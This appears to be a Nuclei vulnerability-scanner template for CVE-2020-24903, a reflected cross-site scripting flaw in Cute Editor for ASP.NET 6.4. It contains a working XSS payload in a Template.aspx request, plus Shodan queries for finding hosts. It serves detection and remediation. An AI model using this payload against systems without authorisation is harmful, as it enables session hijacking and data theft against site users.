id: CVE-2020-24903

info:
  name: Cute Editor for ASP.NET 6.4 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Cute Editor for ASP.NET 6.4 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of Cute Editor for ASP.NET or implement proper input validation to prevent XSS attacks.
  reference:
    - https://seclists.org/bugtraq/2016/Mar/104
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24903
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24903
    cwe-id: CWE-79
    epss-score: 0.02932
    epss-percentile: 0.8529
    cpe: cpe:2.3:a:cutesoft:cute_editor:6.4:*:*:*:*:asp.net:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cutesoft
    product: cute_editor
    framework: asp.net
    shodan-query:
      - http.component:"ASP.NET"
      - http.component:"asp.net"
  tags: cve,cve2020,cuteeditor,xss,seclists,cutesoft,asp.net,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS";><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script></p>"
          - "System.Web"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dde024a395a3149b39f9a72dfe4f232d49e75c1be90361febb132bc887953d780220498957e6aeb9ed2286239da1504f2fd4316c49a9c1b9d23741297ce36cd6f9c4:922c64590222798bb761d5b6d8e72950